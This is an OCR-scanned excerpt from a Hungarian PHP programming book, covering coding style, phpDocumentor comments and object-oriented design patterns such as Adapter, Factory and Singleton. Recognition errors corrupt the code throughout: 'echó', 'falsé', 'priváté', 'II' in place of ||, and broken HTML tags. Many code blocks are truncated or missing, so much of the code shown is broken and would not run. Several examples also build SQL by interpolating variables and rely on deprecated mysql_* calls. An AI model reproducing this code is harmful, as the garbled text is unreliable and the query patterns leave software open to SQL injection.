$results = mysql_query($first_query);
l i st ($ a , $b) = mysql_fetch_row($results);
// a szükséges műveletek elvégzése
$new_a = $b;
$new_b = $a;
$second_query = "UPDATE subscriptions
SET a = ' $new_a ' ,
B = '$new_b'
WHERE subscription_id = $subscription_id" ;
mysql_query($second_query);
22 PHP fejlesztés felsőfokon
$first_query = "SELECT a , b
FROM subscriptions
WHERE subscription_id = $subscription_id";
$results = mysql_query( $ f irst_query);
l i s t ($ b, .$a) = mysql_fetch_row($results);
// a szükséges műveletek elvégzése
$second_query = "UPDATE subscriptions
SET a = '$a' ,
B = ' $ b'
WHERE subscription_id = $subscription_id";
mysql_query($second_query);
Mondanunk sem kell, hogy miután az eredeti SELECT és a záró UPDATE között mintegy
száz sornyi kód szerepelt, a program folyása kifejezetten zavaros volt.
Rövid címkék
A PHP megengedi az úgynevezett rövid címkék (short tag) használatát, valahogy így:
<?
echó "Hello $username";
?>
Mindazonáltal jobb, ha soha nem élünk ezzel a lehetőséggel: a rövid címkék értelmezése
a szokványos XML dokumentumok helyben (inline) történő kiírását lehetetlenné teszi,
mert a PHP ezt a fejlécet blokként értelmezi, és megkísérli végrehajtani:
<?php
echó "Hello $username";
? >
1. fejezet • Kódolási stílusok 23
Vessünk egy pillantást a következő kódrészletre, amely egy táblázatot épít fel:
Hello <?= $username ?>
<?php
echó "<table>";
echó "<tr><td>Name</tdxtd>Position</tdx/tr>" ;
foreach ($employees as $employee) {
echó
"<trxtd>$employee [name] </tdxtd>$employee [position] </tdx/tr>" ;
}
echó "</table>";
?>
Következetes zárójelezés
A kódot zárójelezéssel is egyértelműbbé tehetjük. írhatunk például ilyesmit:
if($month == 'february') {
if($year % 4 == 0 && $year % 100 II $year % 400 == 0) {
$days_in_month = 29;
}
24 PHP fejlesztés felsőfokon
else {
$days_in_month = 28;
}
}
if($month == 'february') {
i f( ( ( $ ye a r % 4 == 0 )&& ($year % 1 0 0 ) ) II ($year % 400 ==0)) {
$days_in_month = 2 9;
}
else {
$days_in_month = 28;
}
}
if($month == 'february1) {
i f ( ( ( ( $ ye a r % 4) == 0 )&& ( ($year % 100) != 0)) II (($year % 400)
== 0 )) {
$days_in_month = 29 ;
}
else {
$days_in_month = 28;
}
}
A zárójelek itt „agyonnyomják" a kifejezést, így a kód célja éppolyan nehezen kideríthető,
mint a kizárólag a műveletek kiértékelési sorrendjére épülő kódé.
Dokumentáció
A dokumentáció elemi része a minőségi kódnak. Bár egy jól megírt kód nagyrészt önma-
gáért beszél, a programozóknak attól még el kell olvasniuk, hogy megérthessék működé-
sét. Az én cégemnél az ügyfelek részére készített programokat addig nem tekintjük befe-
jezettnek, amíg teljes külső alkalmazás-programozási felületüket (API) és az esetleges bel-
ső sajátosságokat nem dokumentáltuk kielégítően.
1. fejezet • Kódolási stílusok 25
A megjegyzések célja minden esetben az kell, hogy legyen, hogy világosabbá tegye a kó-
dot, íme egy klasszikus példa az értelmetlen megjegyzésre:
// i növelése
i++;
Ez a megjegyzés csupán megismétli, amit maga a művelet is leír (és aminek a kód min-
den olvasója számára világosnak kell lennie), de semmilyen utalást nem tesz arra, hogy
miért is hajtjuk végre a műveletet. Az ilyen értelmetlen megjegyzések csak zavaróak egy
programban.
26 PHP fejlesztés felsőfokon
A megjegyzés világossá teszi, hogy az első bit beállítását ellenőrizzük, hogy megállapít-
suk, a szám páratlan-e.
API dokumentáció
Egy API dokumentálása egy külső felhasználó számára jelentősen különbözik a kód belső
dokumentálásától. Az API dokumentáció célja, hogy a fejlesztőknek egyáltalán ne kelljen
a kódba tekinteniük ahhoz, hogy megértsék, hogyan kell használni. Az ilyen dokumentá-
ció létfontosságú az egyes termékek részeként terjesztett PHP könyvtárak esetében, és
igen hasznos lehet az olyan könyvtárak dokumentálásánál is, amelyeket egy fejlesztőcsa-
pat belsőleg használ.
A phpDocumentor használata
A phpDocumentor úgy működik, hogy különleges formájú megjegyzéseket keres. Vala-
mennyi megjegyzésblokk így néz ki:
A Short Description (rövid leírás) a blokk által leírt elem rövid (egysoros) összegzése,
a Long Description (hosszú leírás) pedig egy tetszőlegesen szószátyár szövegblokk.
Az utóbbi megengedi a megjegyzésekben a HTML használatát formázási célokra. A tags
(címkék) a phpDocumentor címkéinek listája. Ezek közül álljon itt néhány fontosabb:
//**
* Ez egy lapösszegző blokk
*
* Ez egy hosszabb leírás, ahol
* részletesebb információkat adhatunk.
* @package Primes
* Sauthor George Schlossnagle
*/
Ezután leírást készítünk egy függvényhez. A phpDocumentor megteszi, ami tőle telik, de
szüksége van némi segítségre. A függvényeket és osztályokat dokumentáló megjegyzése-
ket közvetlenül a függvény vagy osztály bevezetése előtt kell elhelyezni, másképp vala-
mennyi közbeeső kódra érvényesek lesznek. Megfigyelhetjük, hogy az alábbi példában
a ©páram is szerepel, ami meghatározza a függvény egyetlen bemenő paraméterét, vala-
mint a Sreturn, ami a visszatérési értéket írja le:
I **
* Determines whether a number is prime (stupidly)
*
* Determines whether a number is prime or not in
* about the slowest way possible.
* <code>
* for($i=0; $i<100; $i++) {
* if(is_prime($i)) {
* echó "$i is prime\n";
}
* }
* </code>
* @param integer
* ©return boolean true if prime, falsé elsewise
*/
function is_prime($num)
{
for($i=2; $i<= (int)sqrt($num); $i++) {
if($num % $i == 0) {
return falsé;
}
}
return true;
}
?>
1.3 ábra
A phpdoc kimenete a primes.php esetében.
Hogy lássunk egy némileg bonyolultabb példát, nézzük meg az alábbi egyszerű
Employee osztályt:
<?php
I -k-k
/**
* An example of documenting a class
*/
class Employee
{
* @var string
*/
var $name;
/ **
30 PHP fejlesztés felsőfokon
/* *
* The class constructor
* @param number
*/
function Employee($employee_id = falsé)
{
if($employee_id) {
$this->employee_id = $employee_id;
$this->_fetchInfo();
}
}
/* *
* Returns the monthly salary for the employee
* Üreturns number Monthly salary in dollars
*/
function monthlySalary()
{
return $this->salary/12;
}
}
?>
1. fejezet • Kódolási stílusok 31
Észrevehetjük, hogy a _f etchlnf o elérése (@access) privát, ami azt jelenti, hogy
a phpdoc nem fog foglalkozni vele.
Az 1.4 ábra bizonyítja, hogy kis erőfeszítéssel könnyen profi dokumentációt állíthatunk elő.
1.4 ábra
A phpdoc kimenete az Employee esetében.
További olvasmányok
A phpDocumentor-ról többet is megtudhatunk, ha ellátogatunk a projekt www. phpdoc. org
címen található honlapjára. Itt a program elérhetőségéről és telepítéséről is tájékozódhatunk.
A Java stílus-útmutató mindenki számára érdekes olvasmány lehet, aki valamilyen kódolási
szabvány létrehozásán gondolkodik. A hivatalos útmutató a Sun-tól, a következő címen sze-
rezhető be: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html
Objektumközpontű programozás tervezési
minták segítségével
<?php
function hello($name)
{
return "Hello $name!\n";
}
function goodbye($name)
{
return "Goodbye $name!\n";
}
function age($birthday) {
$ts = strtotime($birthday);
if($ts === -1) {
return "Unknown";
}
else {
$diff = time() - $ts;
return floor($diff/(24*60*60*365)) ;
}
}
$name = "george";
$bday = "10 Oct 1973";
echó hello($name);
echó "You are ".age($bday)." years old.\n";
echó goodbye($name);
? >
a motor képes legyen azonosítani őket. A következő példában egy User nevű egyszerű
osztályt hozunk létre, példányosítjuk, és meghívjuk két tagfüggvényét:
<?php
class User {
public $name;
public $birthday;
public function ______construct($name, $birthday)
$this->name = $name;
$this->birthday = $birthday;
Ha 2003. október 10. előtt futtatjuk a fenti programot, ez jelenik meg a képernyőn:
Hello george!
You are 29 years old.
Goodbye george!
36 PHP fejlesztés felsőfokon
A példában szereplő konstruktőr igen egyszerű; csupán két tulajdonságot állít be, a nevet
(name) és a születésnapot (birthday). A tagfüggvények ugyancsak egyszerűek. Megfigyel-
hetjük, hogy a User objektumot képviselő $this automatikusan létrejön az osztálymetó-
dusokon belül. A tulajdonságok és tagfüggvények elérésére a -> jelölést használjuk.
A felszínen az objektumok nagyjából úgy festenek, mint egy társításos tömb (asszociatív
tömb), amihez rajta műveleteket végző függvények gyűjteménye tartozik. Ugyanakkor
rendelkeznek néhány további fontos tulajdonsággal, mégpedig a következőkkel:
Öröklés
Amikor olyan új osztályt szeretnénk létrehozni, ami egy meglevő osztályhoz hasonló tulaj-
donságokkal vagy viselkedéssel rendelkezik, öröklést alkalmazunk. A PHP ezt azzal tá-
mogatja, hogy lehetővé teszi egy osztály számára, hogy kibővítsen egy létező osztályt.
Amikor egy osztályt bővítünk, az új osztály a szülő valamennyi tulajdonságát és tagfügg-
vényét örökli (néhány kivétellel, amiket a fejezetben később részletezünk). Ezután hozzá-
adhatunk új tagfüggvényeket és tulajdonságokat, de felülírhatjuk a meglevőket is.
Az öröklési kapcsolatokat az extends kulcsszóval jelezzük. A User (Felhasználó) bővíté-
sével készítsünk most egy új osztályt, amely a felügyeleti jogkörrel rendelkező felhaszná-
lókat jelöli. Az osztályt azzal bővítjük, hogy kikeressük a felhasználó jelszavát egy NDBM
állományból, és egy összehasonlító függvényt biztosítunk, amellyel összevetjük a jelszót
a felhasználó által megadottal:
Egységbe zárás
Azok számára, akik korábban valamilyen eljárásközpontú nyelven vagy a PHP4-ben prog-
ramoztak, furcsa lehet a nyilvánosság fogalma. A PHP 5-ös változata ugyanis a nyilvános,
védett és privát adattulajdonságok és tagfüggvények bevezetésével adatrejtési képessége-
ket ad a nyelvhez. Ezekre általában a PPP néven hivatkoznak (angolul sorrendben public,
protected, priváté), szabványos jelentésük pedig a következő:
Az egységbe zárás révén nyilvános felületet határozhatunk meg, amely szabályozza, hogy
a „felhasználók" hogyan léphetnek kapcsolatba az osztállyal. A nem nyilvános tagfüggvé-
nyeket módosíthatjuk vagy újraépíthetjük (refaktorizáció), anélkül, hogy attól kellene tar-
tanunk, hogy megsértjük az osztálytól függő kódot. A privát tagfüggvények büntetlenül
újraépíthetők, a védett tagfüggvények újraépítése azonban nagyobb odafigyelést kíván,
hogy meg ne sértsük az osztályok származtatott osztályait.
sen nagy a kísértés, hogy kikerüljük egy objektum nyilvános felületét, és belsőnek feltéte-
lezett tagfüggvények használatával rövidítsük le az utat. Ez hamar karbantarthatatlan kód-
hoz vezethet, mert egy kényszerűen következetes, egyszerű nyilvános felület helyett az
osztálynak olyan tagfüggvényeit alkalmazzuk, amelyeket félünk újraépíteni, nehogy hibát
okozzunk egy osztályban, amely használja őket. A PPP alkalmazásával mindez elkerülhe-
tő: biztosíthatjuk, hogy a külső programok csak a nyilvános tagfüggvényeket használják,
és nem érzünk kísértést a kanyar kiegyenesítésére.
class TestClass {
public static $counter;
}
$counter = TestClass::$counter;
class TestClass {
public static $counter = 0;
public $id;
Különleges tagfüggvények
A PHP osztályai bizonyos tagfüggvényneveket különleges visszahívható (callback) függvé-
nyek számára tartanak fenn, amelyek bizonyos eseményeket kezelnek. Már ismerjük
a___construct () -ot, amelynek hívására az objektumok példányosításakor automatiku-
san sor kerül. Az osztályok ezen kívül öt további ilyen függvényt használnak. A_____ get (),
a___set () és a_____call () az osztálytulajdonságok és -metódusok hívásának módját sza-
bályozzák; velük a fejezetben később foglalkozunk. A másik két függvény
a__ destruct () és a______ clone ().
Az alábbi kisméretű burkoló, amely a PHP fájlkezelő segédprogramjait csomagolja be, be-
mutatja a destruktorok működését:
class 10 {
public $fh = falsé;
public function __ construct($filename, $flags)
í
$this->fh = fopen($filename, $flags);
}
public function __ destruct()
{
if($this->fh) {
fclose($this->fh);
}
}
public function read($length)
{
if($this->fh) {
return fread($this->fh, $length);
}
}
/* ... */
}
Destruktor létrehozása a legtöbb esetben nem szükséges, mert a PHP a kérelmek végén
felszabadítja az erőforrásokat. A hosszú ideig futó vagy nagy számú állományt megnyitó
programok esetében az aggresszív takarítás elengedhetetlen.
40 PHP fejlesztés felsőfokon
A PHP4-ben valamennyi objektum érték szerint adódik át. Tegyük fel például, hogy
a PHP4-ben az alábbi kódot hajtjuk végre:
Az érték szerinti átadás azt jelenti, hogy ebben az esetben három példányt készítünk az osz-
tályból: egyet a konstruktorban, egyet a konstruktőr visszatérési értékének a $obj-hez való
rendelésekor, és egyet akkor, amikor a $obj-t a $copy-hoz rendeljük. Vagyis a jelentés tel-
jesen más, mint a többi objektumközpontú nyelvben - ezért a PHP5 meg is változtatta.
Ha már jó ideje programozunk, valószínűleg szükség volt már rá, hogy egy könyvtárat ké-
pessé tegyünk arra, hogy egy másik API-n keresztül elérhető legyen. Ezzel nem vagyunk
egyedül: az említett probléma általános, és bár nincs minden hasonló gondra általános ér-
vényű megoldás, voltak, akik felismerték, hogy visszatérő problémával állunk szemben és
a megoldási módszerek is ismétlődnek. A tervezési minták alapötlete, hogy a problémák
és megoldásaik ismétlődő sémákat követnek.
A tervezési minták jelentőségét sajnos gyakran elfedi a túlzott reklámozás. Én évekig mel-
lőztem őket anélkül, hogy ténylegesen megvizsgáltam volna, mire jók. Feladataim egyedi-
nek és összetettnek tűntek - úgy gondoltam, nem vehetők egy kalap alá az általános
problémákkal. Ez igen rövidlátó hozzáállásnak bizonyult.
Természetesen nem állíthatjuk, hogy a tervezési mintákról egyetlen fejezetben teljes képet
lehet nyújtani. Itt csak néhány mintát tekintünk át, főként abból a célból, hogy a PHP-ben
elérhető haladó szintű OO megoldásokat bemutassuk.
Az Illesztő minta
Az Illesztő (Adapter, Adaptor minta) célja, hogy egy objektumhoz egy adott felületen ke-
resztül biztosítsunk hozzáférést. Egy tisztán objektumközpontú nyelvben az Illesztő min-
tával egy objektumhoz nyújtunk alternatív API-t, a PHP-ben viszont legtöbbször eljárások
egy halmazához.
Annak a képességnek a biztosítása, hogy egy osztályhoz egy adott API-n keresztül férhe-
tünk hozzá, két okból lehet hasznos:
• Ha több, azonos szolgáltatásokat nyújtó osztály ugyanazt az API-t valósítja meg, fu-
tás közben válthatunk közöttük. Ezt hívják többalakúságnak (polimorfizmusnak;
a szó latin eredetű: a poli jelentése „sok, több", a morfé pedig „alak, forma").
• Egy objektumok halmazán műveleteket végző, előre elkészített keretrendszer mó-
dosítása nehéz lehet. Ha olyan, mások által készített osztályt kívánunk beépíteni,
amely nem felel meg a keretrendszer által használt felületnek, a legegyszerűbben az
Illesztő minta alkalmazásával biztosíthatjuk az elvárt API-n keresztüli hozzáférést.
42 PHP fejlesztés felsőfokon
Az illesztőket a PHP-ben leggyakrabban nem egy osztály elérését egy másikon keresztül
biztosító alternatív felület nyújtására használjuk, mert a kereskedelmi PHP kódok száma
korlátozott, a nyílt kódok felületét pedig közvetlenül módosíthatjuk. A PHP eljárásközpon-
tú gyökerekkel rendelkező nyelv: a legtöbb beépített PHP-függvény ilyen jellegű. Amikor
függvényeket sorban (szekvenciálisan) kell elérnünk (például ha egy adatbázis-lekérdezést
készítünk, sorban a mysql_pconnect (), mysql_select_db (), mysql_query () és
mysql_f etch () hívásása lehet szükség), általában egy erőforrásban gyűjtjük össze a kap-
csolati adatokat, és ezt adjuk át valamennyi függvénynek. Ha a teljes folyamatot egy osz-
tályba csomagoljuk, az ismétlődő munka jelentős részét, illetve a szükséges hibakezelést
elrejthetjük.
class DB_Mysql {
protected $user;
protected $pass;
protected $dbhost;
protected $dbname;
protected $dbh; // adatbázis-kapcsolati leíró
A fenti felület használatához csak létre kell hoznunk egy új DB_Mysql objektumot és pél-
dányosítani az elérni kívánt MySQL adatbázisba való belépéshez szükséges adatokkal (fel-
használói név, jelszó, gépnév, adatbázis neve):
class DB_MysqlStatement {
protected $result;
public $query;
protected $dbh;
public function______ construct($dbh, $query) {
$this->query = $query;
$this->dbh = $dbh;
if ( !is_resource($dbh)) {
throw new Exception("Not a valid database connection") ;
}
}
public function fetch_row() {
if ( !$this->result) {
throw new Exception("Query not executed");
}
return mysql_fetch_row($this->result);
}
public function fetch_assoc() {
return mysql_fetch_assoc($this->result);
}
public function fetchall_assoc() {
$retval = array();
44 PHP fejlesztés felsőfokon
while($row = $this->fetch_assoc()) {
$retval[] = $row;
}
return $retval;
}
}
while($row = $stmt->fetch_assoc()) {
// sor feldolgozása
}
A harmadik pontban említett probléma úgy oldható meg, ha kibővítjük a felületet, hogy
a burkoló képes legyen automatikusan összefűzni a neki átadott adatokat. Ezt legegysze-
rűbben úgy érhetjük el, ha utánozzuk az előkészített lekérdezéseket. Amikor egy lekérde-
zést futtatunk egy adatbázison, az átadott nyers SQL-t olyan formára kell hozni, amit az
adatbázis megért. Ez a lépés jelentős terhet ró a programra, ezért a legtöbb adatbázis-
rendszer megpróbálja átmenetileg tárolni az eredményeket. A felhasználó előkészíthet egy
lekérdezést, aminek nyomán az adatbázis feldolgozza azt, és visszaad valamilyen erőfor-
rást, ami a feldolgozott lekérdezés-ábrázoláshoz kapcsolódik. Ezzel gyakran jár együtt
a bind SQL szolgáltatás. A bind SQL lehetővé teszi, hogy feldolgozzunk egy olyan lekér-
dezést, amelyben a változó adatok helyén helyőrzők állnak. Ezután hozzáköthetjük (bind)
a paramétereket a lekérdezés feldolgozott változatához a végrehajtás előtt. A bind SQL
használata számos adatbázis-rendszeren (különösen az Oracle rendszeren) jelentős telje-
sítménynövekedést eredményez.
A MySQL 4.1 előtti változatai nem biztosítanak külön felületet a felhasználóknak a végre-
hajtás előtti lekérdezés-előkészítésre, és nem engedik meg a bind SQL használatát. Szá-
munkra azonban az a pont, ahol egyenként átadjuk a folyamatnak a változó adatokat, ké-
nyelmes arra, hogy elfogjuk és összefűzzük őket, mielőtt a lekérdezésbe illesztenénk.
A MySQL 4.1 új szolgáltatásának felületét Georg Richter mysqli bővítménye biztosítja.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 45
class DB_Mysql {
/* ... */
public function prepare($query) {
if(!$this->dbh) {
$this->connect();
}
return new DB_MysqlStatement($this->dbh, $query);
}
}
class DB_MysqlStatement {
public $result;
public $binds;
public $query;
public $dbh;
/* ... */
public function execute() {
$binds = func_get_args();
foreach($binds as $index => $name) {
$this->binds[$index + 1] = $name;
}
$cnt = count($binds);
$query = $this->query;
foreach ($this->binds as $ph => $pv) {
$query = str_replace(":$ph",
**■....... .mysql_escape_string ( $pv) . " ' " , $query) ;
}
$this->result = mysql_query($query, $this->dbh);
if(!$this->result) {
throw new MysqlException;
}
return $this;
}
/* ... */
}
Itt a prepare () szinte semmit nem csinál, csak készít egy új DB_MysqlStatement objek-
tumpéldányt a megadott lekérdezéssel. A tényleges munkát a DB_MysqlStatement-ben
végezzük el. Ha nincsenek kapcsolt paramétereink, csak egy ilyen hívásra van szükség:
A : 1 a lekérdezésben azt jelenti, hogy ez az első kapcsolt változó helye. Amikor meghív-
juk a $stmt objektum execute () tagfüggvényét, az feldolgozza a neki átadott adatokat,
az első kapcsolt változó értékéül az elsőnek kapott argumentumot ($name) adja, sorosítja
és idézőjelbe teszi, majd behelyettesíti az első helyőrző (: 1) helyére.
A Sablon minta
A Sablon minta (Template) egy olyan osztályt ír le, amely módosítja egy származtatott
osztály logikáját, hogy teljesebbé tegye.
<?php
require_once 'DB.inc';
define('DB_MYSQL_PROD_USER', 'test');
define('DB_MYSQL_PROD_PASS', 'test');
define('DB_MYSQL_PROD_DBHOST', 'localhost');
define('DB_MYSQL_PROD_DBNAME', ' test ' );
Ahhoz, hogy ezt ne kelljen minden alkalommal megtennünk, származtathatunk egy osztályt
a DB_Mysql-ből, és mereven belekódolhatjuk a test adatbázis paramétereit:
Többalakúság
A fejezetben kidolgozott adatbázis-burkolók meglehetősen általánosak. Valójában ha
megnézzük a PHP-be beépített adatbázis-bővítményeket, mindben ugyanazokat a szolgál-
tatásokat találjuk - csatlakozás egy adatbázishoz, lekérdezések előkészítése és végrehajtá-
sa, az eredmények megjelenítése. Ha akarnánk, írhatnánk egy hasonló DB_Pgsql vagy
DB_Oracle osztályt, amelyek a PostgreSQL és az Oracle könyvtárakat burkolják be, és
alapvetően ugyanazok a tagfüggvények szerepelnének bennük.
Ez a függvény nem csak akkor működik, ha a $dbh egy DB_Mysql objektum, hanem
mindaddig, amíg a $dbh megvalósítja a prepare () tagfüggvényt, és az egy olyan objek-
tumot ad vissza, ami megvalósítja az execute () és f etch_assoc () metódusokat.
48 PHP fejlesztés felsőfokon
Ahhoz, hogy elkerüljük, hogy minden meghívott függvénynek át kelljen adnunk egy adat-
bázis objektumot, képviseletet (delegációt) alkalmazhatunk. A képviselet objektumköz-
pontú fogalom, és azt jelenti, hogy egy objektum tulajdonságként egy másik objektummal
rendelkezik, amelyet bizonyos feladatok végrehajtására használ.
A képviselet minden olyan esetben hasznos, amikor egy bonyolult vagy egy osztályon be-
lül valószínűleg változó szolgáltatást kell biztosítanunk. Emellett gyakran alkalmaznak
képviseletet az olyan osztályokban is, amelyeknek kimenetet kell előállítaniuk. Ha a ki-
menet többféle módon (HTML, sima szöveg, RSS - ez utóbbi jelentése a válaszadó szemé-
lyétől függően Rich Site Summary vagy Really Simple Syndication) is megjeleníthető, ér-
demes lehet bejegyezni egy képviselőt, amely képes a kívánt kimenetet előállítani.
Felületek és típusjelzések
A sikeres képviselet kulcsa, hogy biztosítsuk a szükséges osztályok többalakúságát.
Ha a Weblog objektum számára $dbh paraméterként olyan osztályt adunk meg, amely
nem valósítja meg a f etch_row () műveletet, futásidőben végzetes hiba lép fel. A futás-
idejű hibák észlelése meglehetősen nehéz, hacsak nem gondoskodunk róla magunk,
hogy valamennyi objektum megvalósítsa az összes szükséges függvényt.
Az ilyen jellegű hibák még időben történő elfogását segítendő a PHP5 bevezette a felüle-
tek (interfészek) fogalmát, h felület olyan, mint egy osztály csontváza. Akárhány tagfügg-
vényt megadhat, de kódot nem mellékel hozzájuk, csak egy prototípust, például a függ-
vény argumentumait. Nézzük meg, hogyan fest egy alapvető felület (interf ace), ami le-
írja az adatbázis-kapcsolatokhoz szükséges tagfüggvényeket:
interface DB_Connection {
public function execute($query);
public function prepare($query);
}
50 PHP fejlesztés felsőfokon
Míg az öröklésnél bővítünk egy osztályt, felület használatánál - mivel nincs meghatározott
kód - egyszerűen „beleegyezünk", hogy úgy és azokat a függvényeket valósítjuk meg,
amelyeket a felület megad.
Ha egy osztályt úgy vezetünk be, mintha egy felületet valósítana meg, pedig nem ez
a helyzet, fordítási idejű hibát kapunk. Tegyük fel például, hogy létrehozunk egy DB_Foo
nevű osztályt, amely egyetlen tagfüggvényt sem valósít meg:
<?php
require "DB/Connection.inc";
class DB_Foo implements DB_Connection {}
?>
A PHP nem támogatja a többszörös öröklést, vagyis egy osztály nem származhat közvetle-
nül több osztálytól. Az alábbi például nyelvtanilag helytelen:
class A extends B, C {}
Mindazonáltal - mivel a felületek csak egy prototípust írnak le, nem pedig egy megvalósí-
tást - egy osztály tetszőleges számú felületet valósíthat meg. Ez azt jelenti, hogy ha van egy
A és egy B felületünk, egy C osztály mindkettőhöz nyújthat megvalósítást, valahogy így:
<?php
interface A {
public function abba();
}
interface B {
public function bar();
}
2. fejezet * Objektumközpontú programozás tervezési minták segítségével 51
class C implements A, B {
public function abba()
{
// abba;
}
public function bar ()
<
// bar;
}
}
?>
abstract class A {
public function abba()
{
// abba
}
abstract public function bar();
}
Mivel a bar () nincs teljesen kifejtve, nem példányosítható. Származtatni viszont lehet be-
lőle, és amíg a leszármazott osztály A valamennyi elvont tagfüggvényét megvalósítja, ké-
szíthető belőle példány. B kibővíti (extends) A-t és megvalósítja a bar () -t, vagyis a pél-
dányosítás gond nélkül végrehajtható:
class B extends A {
public function bar()
{
$this->abba();
}
}
$b = new B;
A felületek segítenek abban, nehogy lábon lőjük magunkat, amikor többalakúnak szánt
osztályokat vezetünk be, de a képviseleti hibákat csak részben tudják megakadályozni.
52 PHP fejlesztés felsőfokon
Arra is képesnek kell lennünk, hogy biztosítsuk, hogy azok a függvények, amelyek egy
adott felület megvalósításához egy bizonyos objektumot várnak, meg is kapják azt.
function addDB($dbh)
{
if(!is_a($dbh, "DB_Connection")) {
trigger_error("\$dbh is not a DB_Connection object", E_USER_ERROR);
}
$this->dbh = $dbh;
}
• Ahhoz képest, hogy csak egy átadott paraméter típusát szeretnénk ellenőrizni, igen
hosszú kódot igényel.
• Nem része a függvény prototípus-deklarációjának, vagyis egy adott felületet meg-
valósító osztályban nem kényszeríthetünk ki ilyen paraméterellenőrzést.
A Gyár minta
A Gyár minta (Factory) szabványos módszert biztosít az osztályok számára, hogy más osz-
tályba tartozó objektumokat hozzanak létre. Erre jellemzően akkor van szükség, amikor
egy olyan függvénnyel rendelkezünk, amelynek a bemenő paraméterektől függően kü-
lönböző osztályú objektumokat kell visszaadnia.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 53
Amikor szolgáltatásokat egy másik adatbázisra viszünk át, az egyik legnagyobb kihívást az
jelenti, hogy megtaláljuk mindazon helyeket, ahol a régi burkoló objektumot használjuk, il-
letve biztosítsuk az újat. Tegyük fel például, hogy egy jelentéskészítő adatbázissal rendelke-
zünk, ami egy Oracle adatbázisra támaszkodik, amit kizárólag a DB_Oracle_Reporting
nevű osztályon keresztül érünk el:
function DB_Connection_Factory($key)
{
switch($key) {
case "Test" :
return new DB_Mysql_Test;
case "Prod":
return new DB_Mysql_Prod;
case "Weblog":
return new DB_Pgsql_Weblog;
case "Reporting":
return new DB_Oracle_Reporting;
default:
return falsé;
}
}
54 PHP fejlesztés felsőfokon
$dbh = DB_Connection_factory("Reporting");
Az Egyke minta
A PHP4 objektummodelljének leginkább kritizált tulajdonsága, hogy nagyon megnehezíti
az egykék megvalósítását. Az Egyke minta (Singleton) egy olyan osztályt ír le, amelynek
csak egyetlen globális példánya van. Az egykék számos helyen bizonyulnak természetes
választásnak. A böngésző felhasználókhoz csak egyetlen sütihalmaz és egyetlen profil tar-
tozik. Ehhez hasonlóan, egy HTTP kérelmeket (fejléccel, válaszkóddal stb.) beburkoló
osztály kérelmenként csak egy példánnyal rendelkezik. Ha olyan adatbázis-illesztőprog-
ramot használunk, amely nem támogatja a kapcsolatok megosztását, szintén felmerülhet
egy egyke használata, amellyel biztosíthatjuk, hogy egy adatbázishoz egyszerre csak egy
kapcsolat legyen megnyitva.
A PHP5-ben számos módja van az egykék megvalósításának. Megtehetjük, hogy egy ob-
jektum valamennyi tulajdonságát egyszerűen static-ként vezetjük be, de így igen furcsa
kódokat kell írnunk az objektum kezelésére, és ténylegesen soha nem használunk pél-
dányt az objektumból. íme egy egyszerű osztály, amely az Egyke mintát követi:
<?php
class Singleton {
static $property;
public function __ construct() {}
}
Singleton::$property = "foo";
?>
Mivel itt ténylegesen soha nem hozunk létre példányt a Singleton osztályból, nem ad-
hatjuk át függvényeknek.
$a = Singleton::getlnstance();
$b = Singleton::getlnstance();
$a->property = "hello world";
print $b->property;
A fenti kódot futtatva a "hello world" kimenetet kapjuk, ahogy egy egykétől várnánk.
Megfigyelhetjük, hogy a konstruktőr tagfüggvényt priváte-ként vezettük be. Ez nem el-
írás: ha privát tagfüggvénnyé tesszük, a new Singleton utasítással nem hozhatunk létre
belőle példányt, csak az osztály hatókörén belül. Ha a példányosításra az osztályon kívül
teszünk kísérletet, végzetes hibát kapunk.
class Singleton {
priváté static $props = array();
$a = new Singleton;
$b = new Singleton;
$a->property = "hello world";
print $b->property;
56 PHP fejlesztés felsőfokon
Túlterhelés
Most megpróbáljuk együtt hasznosítani a fejezetben eddig bemutatott megoldásokat, az
eredményhalmazhoz pedig túlterheléssel objektumközpontúbb felületet biztosítunk. Azon
programozók számára, akik megszokták a Java JDBC adatbázis-kapcsolati rétegének hasz-
nálatát, ismerős megközelítés lehet az összes eredmény egyetlen objektumban való tárolása.
A kód vezérlési folyamata normális módon halad, amíg végre nem hajtottuk a lekérdezést.
Ezután viszont ahelyett, hogy egyesével, társításos tömbként adnánk vissza a sorokat, ele-
gánsabb, ha egy eredményobjektumot adunk vissza egy belső bejáróval, ami tárolja a már
megvizsgált sorokat.
Nem adunk meg külön eredménytípust minden adatbázis számára, amit a DB_Connection
osztályokon keresztül támogatunk, ehelyett az utasítás osztályainak többalakúságát kihasz-
nálva egyetlen DB_Result osztályt hozunk létre, amely minden rendszerfüggő műveletét
arra a DB_Statement objektumra ruházza át, amelyből létrejött.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 57
class DB_Result {
protected $stmt;
protected $result = array ();
priváté $rowIndex = 0;
priváté $currlndex = 0;
priváté $done = falsé;
else {
++$this->currIndex;
return $this;
}
}
public function prev()
{
if($this->currlndex == 0) {
return falsé;
}
--$this->currIndex;
return $this;
}
}
Szerencsére a PHP két tagfüggvény révén lehetővé teszi a tulajdonságokhoz való hozzáfé-
rés túlterhelését:
Maradandó hasítótábla (hash) készítéséhez egy Tied nevű osztályt hozunk létre, ami egy
leírót nyit egy DBM állományhoz. (A DBM állományokkal részletesebben a 10. fejezetben
foglakozunk.) Amikor egy tulajdonsággal kapcsolatban olvasási kérelem érkezik, az érté-
ket megszerezzük a hasítótáblából, és párhuzamosítjuk (hogy összetett adattípusokat is tá-
rolhassunk). Az írási műveleteknél ehhez hasonlóan sorosítjuk a változóhoz rendelt érté-
ket, és a DBM-be írjuk. Lássunk egy példát, ahol egy DBM fájlt egy társításos tömbbel
kapcsolunk össze, így lényegében egy maradandó tömböt készítünk (ami hasonló egy
Tied hasítótáblához a Peri-ben):
class Tied {
priváté $dbm;
priváté $dbmFile;
function ____ construct( $ f ile = falsé)
{
$this->dbmFile = $file;
$this->dbm = dba_popen($this->dbmFile, "c", "ndbm");
}
function____ destructO
{
60 PHP fejlesztés felsőfokon
dba_close($this->dbm);
}
function __ get($name)
{
$data = dba_fetch($name, $this->dbm);
if($data) {
print $data;
return unserialize($data);
}
else {
print "$name not found\n";
return falsé;
}
}
function___ set($name, $value)
{
dba_replace($name, serialize($value), $this->dbm);
}
}
Most már lehet egy társításos tömb típusú objektumunk, amely megengedi a maradandó
adatokat. Tegyük fel, hogy így használjuk:
<?
$a = new Tied("/tmp/tied.dbm");
if(!$a->counter) {
$a->counter = 0 ;
}
else {
